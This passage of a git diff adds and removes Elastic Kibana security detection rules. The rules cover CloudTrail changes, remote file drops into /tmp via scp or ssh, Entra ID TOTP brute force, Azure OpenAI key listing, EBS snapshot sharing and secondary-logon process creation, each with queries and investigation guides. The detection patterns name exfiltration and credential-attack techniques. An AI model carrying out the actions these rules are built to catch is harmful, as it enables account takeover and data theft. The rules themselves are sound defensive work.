"https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "3e002465-876f-4f04-b016-84ef48ce7e5d", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Cloudtrail", + "Use Case: Log Auditing", + "Resources: Investigation Guide", + "Tactic: Impact" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1565", + "name": "Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/", + "subtechnique": [ + { + "id": "T1565.001", + "name": "Stored Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "3e002465-876f-4f04-b016-84ef48ce7e5d_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3e528511-7316-4a6e-83da-61b5f1c07fd4_4.json b/packages/security_detection_engine/kibana/security_rule/3e528511-7316-4a6e-83da-61b5f1c07fd4_4.json new file mode 100644 index 00000000000..5f5a3170f06 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3e528511-7316-4a6e-83da-61b5f1c07fd4_4.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network.", + "from": "now-9m", + "history_window_start": "now-7d", + "index": [ + "logs-endpoint.events.file*", + "auditbeat-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Remote File Creation in World Writeable Directory", + "new_terms_fields": [ + "process.executable", + "host.id" + ], + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Remote File Creation in World Writeable Directory\n\nIn Linux environments, world-writeable directories like `/tmp` and `/var/tmp` are used for temporary file storage, accessible by all users. Adversaries exploit these directories to deposit malicious files via remote services such as SSH or FTP, facilitating lateral movement. The detection rule identifies file creation events in these directories by non-root users using common file transfer services, signaling potential unauthorized activity.\n\n### Possible investigation steps\n\n- Review the file creation event details, focusing on the file path to determine if it matches any known malicious patterns or if it is unusual for the environment.\n- Identify the user associated with the file creation event by examining the user.id field, and verify if this user should have access to the affected directory.\n- Investigate the process responsible for the file creation by analyzing the process.name field to determine if it aligns with expected usage patterns for the user and system.\n- Check the source IP address and connection details related to the file transfer service used (e.g., SSH, FTP) to identify any suspicious or unauthorized access attempts.\n- Correlate the event with other recent activities on the host to identify any patterns of lateral movement or other suspicious behavior.\n- Review historical data for similar file creation events by the same user or process to assess if this is part of a recurring pattern or an isolated incident.\n\n### False positive analysis\n\n- Routine administrative tasks: System administrators often use file transfer services like scp or rsync to move files for legitimate purposes. To reduce false positives, create exceptions for known administrative accounts or specific file paths that are regularly used for maintenance.\n- Automated scripts and cron jobs: Automated processes may create temporary files in world-writeable directories. Identify and whitelist these scripts or jobs by their process names or user accounts to prevent unnecessary alerts.\n- Software updates and installations: Some software updates or installations may temporarily use world-writeable directories. Monitor and document these activities, and consider excluding specific update processes or package managers from the rule.\n- Development and testing environments: Developers may use these directories for testing purposes. Establish a separate monitoring policy for development environments or exclude known developer accounts to minimize false positives.\n- Backup operations: Backup tools might use temporary directories for staging files. Identify these tools and their typical behavior, and create exceptions based on their process names or user IDs.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further lateral movement by the adversary.\n- Terminate any suspicious processes associated with file transfer services (e.g., scp, ssh, ftp) that are not part of legitimate user activity.\n- Remove any unauthorized files created in world-writeable directories such as /tmp, /var/tmp, or /dev/shm to eliminate potential threats.\n- Conduct a thorough review of user accounts and permissions, focusing on non-root users who have recently accessed the system, to identify any unauthorized access.\n- Reset credentials for compromised or potentially compromised accounts to prevent further unauthorized access.\n- Monitor network traffic for unusual patterns or connections to external IP addresses that may indicate ongoing or additional compromise attempts.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected, ensuring a coordinated response.\n", + "query": "event.category:file and host.os.type:linux and event.action:creation and\nprocess.name:(ftp or rsync or scp or sftp or sftp-server or ssh or sshd or vsftpd) and\nfile.path:((/dev/shm/* or /tmp* or /var/tmp*) and not (/tmp/ansible-tmp-* or /var/tmp/ansible-tmp-*)) and\nnot user.id:0\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "3e528511-7316-4a6e-83da-61b5f1c07fd4", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Lateral Movement", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/", + "subtechnique": [ + { + "id": "T1021.004", + "name": "SSH", + "reference": "https://attack.mitre.org/techniques/T1021/004/" + } + ] + }, + { + "id": "T1570", + "name": "Lateral Tool Transfer", + "reference": "https://attack.mitre.org/techniques/T1570/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 4 + }, + "id": "3e528511-7316-4a6e-83da-61b5f1c07fd4_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_3.json b/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_3.json deleted file mode 100644 index e12579f9cae..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_3.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code.", - "false_positives": [ - "Based on the high-frequency threshold, it would be unlikely for a legitimate user to exceed the threshold for failed TOTP code attempts in a short time-span over multiple sessions." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Entra ID MFA TOTP Brute Force Attempts", - "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID MFA TOTP Brute Force Attempts\n\nThis rule detects brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. It identifies high-frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attempt to brute-force TOTP codes by generating several sessions and attempting to guess the correct code.\n\n#### Possible Investigation Steps:\n\n - Check the source addresses associated with the failed TOTP attempts.\n - Determine if the source IP address is consistent with the user\u2019s typical login locations.\n - Look for unusual geographic patterns or anomalous IP addresses (e.g., proxies, VPNs, or locations outside the user\u2019s normal activity).\n - Review the error code associated with the failed attempts. This can help identify if the failures are due to incorrect TOTP codes or other issues.\n - Verify that that auth metho reported is `OAth` as it indicates the use of TOTP codes.\n - Pivot into signin logs for the target user and check if auth via TOTP was successful which would indicate a successful brute force attempt.\n - Review conditional access policies applied to the user or group as reported by the sign-in logs.\n - Analyze the client application ID and display name to determine if the attempts are coming from a legitimate application or a potentially malicious script.\n - Adversaries may use legitimate FOCI applications to bypass security controls or make login attempts appear legitimate.\n - Review the resource ID access is being attempted against such as MyApps, Microsoft Graph, or other resources. This can help identify if the attempts are targeting specific applications or services.\n - The correlation IDs or session IDs can be used to trace the authentication attempts across different logs or systems. Note that for this specific behavior, unique session ID count is high and could be challenging to correlate.\n\n#### False Positive Analysis:\n\n - Verify if the failed attempts could result from the user\u2019s unfamiliarity with TOTP codes or issues with device synchronization.\n - Check if the user recently switched MFA methods or devices, which could explain multiple failures.\n - Determine if this is whitebox testing or a developer testing MFA integration.\n\n#### Response and Remediation:\n\n - If proven malicious, lock the affected account temporarily to prevent further unauthorized attempts.\n - Notify the user of suspicious activity and validate their access to the account.\n - Reset passwords and MFA settings for the affected user to prevent unauthorized access while communicating with the user.\n - Ensure conditional access policies are configured to monitor and restrict anomalous login behavior.\n - Consider a different MFA method or additional security controls to prevent future bypass attempts.\n - Implement additional monitoring to track high-frequency authentication failures across the environment.\n - Audit historical logs for similar patterns involving other accounts to identify broader threats.\n - Provide guidance on the secure use of MFA and the importance of recognizing and reporting suspicious activity.\n", - "query": "from logs-azure.signinlogs* metadata _id, _version, _index\n\n| where\n // filter for Entra Sign-In Logs\n event.dataset == \"azure.signinlogs\"\n and azure.signinlogs.operation_name == \"Sign-in activity\"\n and azure.signinlogs.properties.user_type == \"Member\"\n\n // filter for MFA attempts with OATH conditional access attempts or TOTP\n and azure.signinlogs.properties.mfa_detail.auth_method == \"OATH verification code\"\n\n // filter on failures only from brute-force attempts\n and (\n (\n azure.signinlogs.result_signature == \"FAILURE\" and\n azure.signinlogs.result_description == \"Authentication failed during strong authentication request.\"\n ) or azure.signinlogs.properties.status.error_code == 500121\n )\n\n| stats\n Esql.event_count = COUNT(*),\n Esql.azure_signinlogs_properties.session_id_count_distinct = COUNT_DISTINCT(azure.signinlogs.properties.session_id),\n Esql.source_address_values = VALUES(source.address),\n Esql.azure_tenant_id_valuues = VALUES(azure.tenant_id),\n Esql_priv.azure_identity_values = VALUES(azure.signinlogs.identity),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = VALUES(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_app_id_values = VALUES(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = VALUES(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_authentication_requirement_values = VALUES(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_authentication_protocol_values = VALUES(azure.signinlogs.properties.authentication_protocol),\n Esql.azure_signinlogs_properties_client_app_used_values = VALUES(azure.signinlogs.properties.client_app_used),\n Esql.azure_signinlogs_properties_client_credential_type_values = VALUES(azure.signinlogs.properties.client_credential_type),\n Esql.azure_signinlogs_properties_conditional_access_status_values = VALUES(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_correlation_id_values = VALUES(azure.signinlogs.properties.correlation_id),\n Esql.azure_signinlogs_properties_is_interactive_values = VALUES(azure.signinlogs.properties.is_interactive),\n Esql.azure_signinlogs_properties_mfa_detail_auth_method_values = VALUES(azure.signinlogs.properties.mfa_detail.auth_method),\n Esql.azure_signinlogs_properties_resource_display_name_values = VALUES(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = VALUES(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_risk_state_values = VALUES(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_risk_detail_values = VALUES(azure.signinlogs.properties.risk_detail),\n Esql.azure_signinlogs_properties_status.error_code_values = VALUES(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_original_request_id_values = VALUES(azure.signinlogs.properties.original_request_id),\n Esql.user_id_values = VALUES(user.id)\n by user.id\n\n| where Esql.event_count >= 20 and Esql.azure_signinlogs_properties.session_id_count_distinct >= 10\n\n| keep\n Esql.event_count,\n Esql.azure_signinlogs_properties.session_id_count_distinct,\n Esql.source_address_values,\n Esql.azure_tenant_id_valuues,\n Esql_priv.azure_identity_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_authentication_protocol_values,\n Esql.azure_signinlogs_properties_client_app_used_values,\n Esql.azure_signinlogs_properties_client_credential_type_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_correlation_id_values,\n Esql.azure_signinlogs_properties_is_interactive_values,\n Esql.azure_signinlogs_properties_mfa_detail_auth_method_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_risk_detail_values,\n Esql.azure_signinlogs_properties_status.error_code_values,\n Esql.azure_signinlogs_properties_original_request_id_values,\n Esql.user_id_values\n", - "references": [ - "https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass", - "https://learn.microsoft.com/en-us/entra/identity/", - "https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins" - ], - "risk_score": 47, - "rule_id": "3fac01b2-b811-11ef-b25b-f661ea17fbce", - "setup": "#### Required Entra ID Sign-In Logs\nThis rule requires the Entra ID sign-in logs via the Azure integration be enabled. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Entra ID logs integration.\n", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.001", - "name": "Password Guessing", - "reference": "https://attack.mitre.org/techniques/T1110/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "3fac01b2-b811-11ef-b25b-f661ea17fbce_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_1.json b/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_1.json deleted file mode 100644 index 72078480d56..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_1.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions.", - "false_positives": [ - "Authorized model training", - "Legitimate high volume data exchanges during scheduled updates" - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Azure OpenAI Model Theft", - "query": "from logs-azure_openai.logs-*\n| where azure.open_ai.operation_name == \"ListKey\" and azure.open_ai.category == \"Audit\"\n| KEEP @timestamp, azure.open_ai.operation_name , azure.open_ai.category, azure.resource.group, azure.resource.name, azure.open_ai.properties.response_length\n| stats count = count(), max_data_transferred = max(azure.open_ai.properties.response_length) by azure.resource.group , azure.resource.name\n| where count >= 100 or max_data_transferred >= 1000000\n| sort count desc\n", - "references": [ - "https://genai.owasp.org/llmrisk/llm10-model-theft", - "https://atlas.mitre.org/techniques/AML.T0044" - ], - "risk_score": 47, - "rule_id": "4021e78d-5293-48d3-adee-a70fa4c18fab", - "setup": "## Setup\n\nFor more information on\nstreaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: Azure OpenAI", - "Data Source: Azure Event Hubs", - "Use Case: Model Theft", - "Mitre Atlas: T0044" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "4021e78d-5293-48d3-adee-a70fa4c18fab_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_5.json b/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_5.json deleted file mode 100644 index dfd31003c43..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_5.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies AWS EC2 EBS snaphots being shared with another AWS account or made public. EBS virtual disks can be copied into snapshots, which can then be shared with an external AWS account or made public. Adversaries may attempt this in order to copy the snapshot into an environment they control, to access the data.", - "false_positives": [ - "AMI sharing is a common practice in AWS environments. Ensure that the sharing is authorized before taking action." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS EC2 EBS Snapshot Shared or Made Public", - "note": "## Triage and analysis\n\n### Investigating AWS EC2 EBS Snapshot Shared or Made Public\n\nThis rule detects when an AWS EC2 EBS snapshot is shared with another AWS account or made public. EBS virtual disks can be copied into snapshots, which can then be shared with an external AWS account or made public. Adversaries may attempt this to copy the snapshot into an environment they control to access the data. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious.\n\n#### Possible Investigation Steps:\n\n- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they have the necessary permissions.\n- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific changes made to the snapshot permissions. Look for any unusual parameters that could suggest unauthorized or malicious modifications.\n- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.\n- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications during non-business hours or outside regular maintenance windows might require further scrutiny.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities.\n- **Review UserID**: Check the `userId` field to identify the AWS account with which the snapshot was shared. Verify if this account is authorized to access the data or if it belongs to a known third party. If this value is `all`, the snapshot is made public.\n\n### False Positive Analysis:\n\n- **Legitimate Administrative Actions**: Confirm if the snapshot sharing aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems.\n- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.\n- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended according to policy.\n\n### Response and Remediation:\n\n- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, update the snapshot permissions to remove any unauthorized accounts and restore it to its previous state.\n- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive data or permissions.\n- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning snapshot management and sharing permissions.\n- **Audit Snapshots and Policies**: Conduct a comprehensive audit of all snapshots and associated policies to ensure they adhere to the principle of least privilege.\n- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.\n\n### Additional Information:\n\nFor further guidance on managing EBS snapshots and securing AWS environments, refer to the [AWS EBS documentation](https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html) and AWS best practices for security. Additionally, consult the following resources for specific details on EBS snapshot security:\n- [AWS EBS Snapshot Permissions](https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html)\n- [AWS API ModifySnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html)\n- [AWS EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"ec2.amazonaws.com\" and event.action == \"ModifySnapshotAttribute\" and event.outcome == \"success\"\n| dissect aws.cloudtrail.request_parameters \"{%{?snapshotId}=%{snapshotId},%{?attributeType}=%{attributeType},%{?createVolumePermission}={%{operationType}={%{?items}=[{%{?userId}=%{userId}}]}}}\"\n| where operationType == \"add\" and cloud.account.id != userId\n| keep @timestamp, aws.cloudtrail.user_identity.arn, cloud.account.id, event.action, snapshotId, attributeType, operationType, userId\n", - "references": [ - "https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html", - "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump", - "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/" - ], - "risk_score": 21, - "rule_id": "4182e486-fc61-11ee-a05d-f661ea17fbce", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS EC2", - "Use Case: Threat Detection", - "Tactic: Exfiltration", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [ - { - "id": "T1537", - "name": "Transfer Data to Cloud Account", - "reference": "https://attack.mitre.org/techniques/T1537/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 5 - }, - "id": "4182e486-fc61-11ee-a05d-f661ea17fbce_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/42eeee3d-947f-46d3-a14d-7036b962c266_115.json b/packages/security_detection_engine/kibana/security_rule/42eeee3d-947f-46d3-a14d-7036b962c266_115.json new file mode 100644 index 00000000000..27c7fd14b2a --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/42eeee3d-947f-46d3-a14d-7036b962c266_115.json @@ -0,0 +1,129 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Process Creation via Secondary Logon", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Process Creation via Secondary Logon\n\nThe Secondary Logon service in Windows allows users to run processes with different credentials, facilitating legitimate administrative tasks. However, adversaries can exploit this to escalate privileges by creating processes with alternate tokens, bypassing access controls. The detection rule identifies such abuse by monitoring successful logins via the Secondary Logon service and subsequent process creation, linking them through unique logon identifiers.\n\n### Possible investigation steps\n\n- Review the event logs for the specific TargetLogonId to identify the user account associated with the process creation and verify if the account is authorized to use alternate credentials.\n- Examine the source IP address \"::1\" to confirm if the process creation originated from the local machine, which might indicate a local privilege escalation attempt.\n- Investigate the process name \"svchost.exe\" to determine if it is being used legitimately or if it has been exploited for malicious purposes, such as running unauthorized services.\n- Check the sequence of events within the 1-minute maxspan to identify any unusual or suspicious activities that occurred immediately before or after the process creation.\n- Correlate the detected activity with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign.\n\n### False positive analysis\n\n- Legitimate administrative tasks using the Secondary Logon service can trigger alerts. To manage this, identify and whitelist specific administrative accounts or tasks that frequently use this service for legitimate purposes.\n- Scheduled tasks or automated scripts that use alternate credentials for routine operations may cause false positives. Review and exclude these tasks by creating exceptions for known scripts or scheduled jobs.\n- Internal IT support activities often involve using alternate credentials for troubleshooting or maintenance. Document and exclude these activities by maintaining a list of support personnel and their typical actions.\n- Software updates or installations that require elevated privileges might be flagged. Monitor and exclude these processes by identifying and documenting the update mechanisms used within the organization.\n- Development or testing environments where alternate credentials are used for testing purposes can generate alerts. Exclude these environments by setting up specific rules that recognize and ignore these non-production activities.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.\n- Terminate any suspicious processes identified as being created via the Secondary Logon service, especially those linked to the unique logon identifiers from the alert.\n- Review and revoke any alternate credentials or tokens used in the suspicious process creation to prevent further misuse.\n- Conduct a thorough examination of the affected system for additional signs of compromise, such as unauthorized user accounts or changes to system configurations.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.\n- Implement stricter access controls and monitoring on the Secondary Logon service to detect and prevent similar privilege escalation attempts in the future.\n- Update and reinforce endpoint detection and response (EDR) solutions to enhance monitoring of process creation events and logon activities, ensuring they are aligned with the latest threat intelligence.", + "query": "sequence by winlog.computer_name with maxspan=1m\n\n[authentication where host.os.type == \"windows\" and event.action:\"logged-in\" and\n event.outcome == \"success\" and user.id : (\"S-1-5-21-*\", \"S-1-12-1-*\") and\n\n /* seclogon service */\n process.name == \"svchost.exe\" and\n winlog.event_data.LogonProcessName : \"seclogo*\" and source.ip == \"::1\" ] by winlog.event_data.TargetLogonId\n\n[process where host.os.type == \"windows\" and event.type == \"start\"] by winlog.event_data.TargetLogonId\n", + "references": [ + "https://attack.mitre.org/techniques/T1134/002/" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": 